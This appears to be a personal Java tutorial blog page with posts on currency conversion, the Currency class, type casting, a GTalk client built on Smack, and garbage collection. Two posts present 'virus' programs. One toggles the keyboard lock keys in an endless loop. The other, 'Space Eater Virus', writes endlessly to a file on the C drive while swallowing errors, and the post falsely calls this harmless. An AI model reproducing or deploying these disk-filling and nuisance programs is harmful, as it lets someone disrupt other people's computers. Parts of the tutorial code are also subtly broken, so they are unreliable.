Please disable your adblock and script blockers to view this page

Search this blog

Showing posts with label Java tutorial. Show all posts
Showing posts with label Java tutorial. Show all posts

Saturday 20 April 2013

Currency Conversion - Google Calculator API integration in ADF using GSON

First ,thanks to this post http://blog.caplin.com/2011/01/06/simple-currency-conversion-using-google-calculator-and-java/ .
I was looking for any API, webservice for retrieving live currency fluctuation, finally i came to this solution that integrates Google Calculator with Java to calculate currenct currency rates and i have integrated this with my Oracle ADF Application

I have created an application using bounded taskflow -
  • Created a .jsff page with two input text , to get value of Base and Term currency and a button, on which rate is calculated

  •  In order to use Goolge Calculator, we have to use GSON (open source java library (API) to convert JSON objects in POJO (pure java object)) 
  • To access GSON library we have to add google-gson-stream-2.2.1.jar in our project library - Download Gson Jar
  • this trick uses google calculator for calculating converion rate, as we all know Google Calculator is very smart, whenever we search like 1 USD ,it always shows results according to locale
As 1 USD searched in India-
As 1 USD searched in UK- 






  • this is also hidden benefit for our application , we can pass locale to get changed values also- now see what is the code that get values from Google Calculator

  •    public void calculateFluctuationButton(ActionEvent actionEvent) throws Exception {  
         String google = "http://www.google.com/ig/calculator?en=hi&q=";  
         /**Get values from page component binding*/  
         String baseCurrency = baseCurrencyBind.getValue().toString();  
         String termCurrency = termCurrencyBind.getValue().toString();  
         String charset = "UTF-8";  
         /**Replace url using your values-*/  
         URL url = new URL(google + baseCurrency + "%3D%3F" + termCurrency);  
         /**Go to url directly to see you result*/  
         System.out.println(url);  
         Reader reader = new InputStreamReader(url.openStream(), charset);  
         Result result = new Gson().fromJson(reader, Result.class);  
         System.out.println(result);  
         // Get the value without the term currency.  
         String amount = result.getRhs().split("\\s+")[0];  
         System.out.println(amount);  
         resultBind.setValue(amount);  
       }  
    

  • See in code i have passed currency notation from page (INR,USD ) to bean and passed it in url of google calculator and this url returns results
Download Complete Application -Sample ADF Application

Thursday 4 April 2013

Currency- A Java Utility, Get currency code , symbol using Locale in Java

Java provides utility classes inside java.util package.
java.util.Currency is very interesting class in this package,it represents currencies defined in ISO 4217 by 
their currency codes.
You can get currency codes, its symbol, default fraction digits using its method.




java.lang.Object
  extended by java.util.Currency 


see this short example , how we use Currency Class in Java,You can also get 
live currency fluctuation in java using Currency Converter API
 
package practiceJava;

import java.util.Currency;
import java.util.Locale;

public class CurrencyDemo {

    public static void main(String[] args) {
        // create a currency object with  locale
        Locale locale = Locale.US;
        Currency curr = Currency.getInstance(locale);
        System.out.println("Locale's currency code:" + curr.getCurrencyCode());
        // Get symbol for Currecny
        String symbol = curr.getSymbol();
        System.out.println("Symbol is :" + symbol);
        // Get default fraction digit for Currecny
        int frDigit = curr.getDefaultFractionDigits();
        System.out.println("Default fraction digit : " + frDigit);

    }
}


Output look like this

Wednesday 5 December 2012

Datatype conversion in Java (Typecasting)



How to do basic data type conversion in Java


  •     Convert Integer to String
  •     BigDecimal to Integer
  •     Integer to BigDecimal
  •     Double to Integer
  •     Integer to double





package practiceJava;

import java.math.BigDecimal;

public class TypeConversion {
    public static void main(String[] args) {
        /*Convert String to Integer*/
        String name = "1234";
        Integer nm = Integer.parseInt(name);
        System.out.println("Name in Integer-->" + nm);
    }


    /*Convert Integer to String*/

    Integer a = 23;
    String num = a.toString();
    /*BigDecimal to Integer*/
    BigDecimal nom = new BigDecimal(450.9);
    Integer nomInt = nom.intValue();

    /*Integer to BigDecimal*/

    Integer cm = 45;
    BigDecimal cmBd = new BigDecimal(cm);
    
    /*Double to Integer*/

    double sys = 3;
    Integer sysInt = new Integer((int)sys);
   
   /*Integer to double*/
    Integer sd = 456;
    double sdDb = sd.doubleValue();


}

Tuesday 27 November 2012

GTalk (Google Talk) integration with Java


Hello All

Google Talk is most popular chat client that use your gmail login authentication, and after this tutorial you will be able to create your own Gtalk (if you use swing ), this tutorial shows how to integrate Gtalk with Java.

This example uses Smack API, Smack is an Open Source XMPP (Jabber) client library for instant messaging and presence. A pure Java library, it can be embedded into your applications to create anything from a full XMPP client to simple XMPP integrations such as sending notification messages and presence-enabling devices.



  • Code to integrate Google talk with java
 package chat_Server;
 import org.jivesoftware.smack.ConnectionConfiguration;
 import org.jivesoftware.smack.XMPPConnection;
 import org.jivesoftware.smack.XMPPException;
 import org.jivesoftware.smack.packet.Message;
 public class GtalkChat {
   private static String username = "ashishawasthi000@gmail.com";
   private static String password = "XXXXXXX";
   ConnectionConfiguration connConfig;
   XMPPConnection connection;
   public GtalkChat() throws XMPPException {
     connConfig = new ConnectionConfiguration("talk.google.com", 5222, "gmail.com");
     connection = new XMPPConnection(connConfig);
     connection.connect();
     connection.login(username, password);
   }
   public void sendMessage(String to, String message) {
     Message msg = new Message(to, Message.Type.chat);
     msg.setBody(message);
     connection.sendPacket(msg);
   }
   public void disconnect() {
     connection.disconnect();
   }
   public static void main(String[] args) throws XMPPException {
     GtalkChat gtalkChat = new GtalkChat();
     gtalkChat.sendMessage("abcdefg@gmail.com",
                "Hii this message is send using Java and Google talk integration.");
     gtalkChat.disconnect();
   }
 }  
  • Change line 7 and line 8 with your username and password respectively



  • Chage line 27 with receiver's email id and type your message
  • Now download SMACK API from its website or click on link below
  • Extract Smack.rar and Add Smack.jar and Smackx.jar to your project
  • Now run the code
  • This code will only send chat , try to receive using your own code

Thursday 1 November 2012

Java Code to on off Capslock,Numlock and Scrolllock

This javacode make your capslock,numlock and scroll-lock on, and using infinite loop you can make it to behave like virus. That will continuously make your locks on off.
Go with this code




  1. /*Code by http://www.javacup.co.in
  2.  * Ashish Awasthi
  3.  * */
  4. package practiceJava;
  5. import java.awt.Toolkit;
  6. import java.awt.event.KeyEvent;
  7. public class LockOn {
  8.     //This code show you how to on Capslock,Numlock and ScrollLock using JavaCode
  9.     //Using this you can also use many other keys of Keyboard in Java
  10.     public boolean capsLock(boolean cp) {
  11.         Toolkit tk = Toolkit.getDefaultToolkit();
  12.         tk.setLockingKeyState(KeyEvent.VK_CAPS_LOCK, cp);
  13.         return true;
  14.     }
  15.     public boolean numLock(boolean np) {
  16.         Toolkit tk = Toolkit.getDefaultToolkit();
  17.         tk.setLockingKeyState(KeyEvent.VK_NUM_LOCK, np);
  18.         return true;
  19.     }
  20.     public boolean scrollLock(boolean sp) {
  21.         Toolkit tk = Toolkit.getDefaultToolkit();
  22.         tk.setLockingKeyState(KeyEvent.VK_SCROLL_LOCK, sp);
  23.         return true;
  24.     }
  25. //This method on all three buttons
  26.     public boolean onAllKeys() {
  27.         return capsLock(true) & numLock(true) & scrollLock(true);
  28.     }
  29.     //This method off all three buttons
  30.     public boolean offAllKeys() {
  31.         return capsLock(false) & numLock(false) & scrollLock(false);
  32.     }
  33.     public static void main(String[] args) {
  34.         LockOn lc = new LockOn();
  35.         //this is an infinite loop that will make all 3 buttons contineous on-off
  36.         int i = 0;
  37.         while (i < 1) {
  38.             lc.onAllKeys();
  39.             lc.offAllKeys();
  40.         }
  41.     }
  42. }

Tuesday 16 October 2012

Code that eats hard drive space, Space Eater Virus in Java

This Java Code will eat your space on C drive and Slowdown your System, this code doesn't harm your system. When you stop executing  program it will stop eating your space




  1. package socketProgramming;
  2. import java.io.FileNotFoundException;
  3. import java.io.FileOutputStream;
  4. import java.io.IOException;
  5. public class SpaceEater {
  6.     public static void main(String[] args) {
  7.         FileOutputStream fout;
  8.         try {
  9.             fout = new FileOutputStream("C://Ashish.dll");
  10.             String s =
  11.                 "Hello this is space eater virus how much space it will eat you don't know. it will just destroy all system speed and space on hard disc";
  12.             byte b[] = s.getBytes();
  13.             int i = 0;
  14.             while (i != -1) {
  15.                 fout.write(b);
  16.                
  17.             }
  18.         } catch (FileNotFoundException e) {
  19.         } catch (IOException e) {
  20.         }
  21.     }
  22. }

Monday 15 October 2012

Garbage Collection in Java (Mark and Sweep Algorithm)


Garbage ,in case of Computer Science refers to data , object or any other part of Memory that will not be used in any further program.
Normally memory has much space according to programmer's requiremet but sometimes when there is a lot of unused but non-empty space in memory area, it results in slow processing


Garbage Collection-


Garbage Collection is a form of Memory Management, that is job of system.
Thats why it is called Automated Memory Management.
Garbage Collector try to free memory space occupied by programs and data object that are no longer accessed by any Program or by system communication.


In java-


In Java,Garbage collector runs automatically in the lifetime of a java program, It frees the allocated memory that is not used by running process.
In C language and other old languages , it is the responsibility of coder(Programmer) to free memory time to time using free(); function
You can manually run garbage collector in java, there is a method in System class named void gc();
It suggests JVM(java virtual machine) to collect currently unused memory.
System.gc(); is logically equal to Runtime.getRuntime.gc();


Mark and Sweep-


There are two algotithm for garbage collection- Mark and Sweep also known as Marking and Collection phase of garbage collector.
When all available memory has been exhausted and execution of the program is suspended for a while then mark-and-sweep algorithm marks and collects all the garbage values and memory space.
Once all garbage is marked then it is collected and process resumes .
This is the process of Garbage Collection in java, and same for many other Object Oriented languages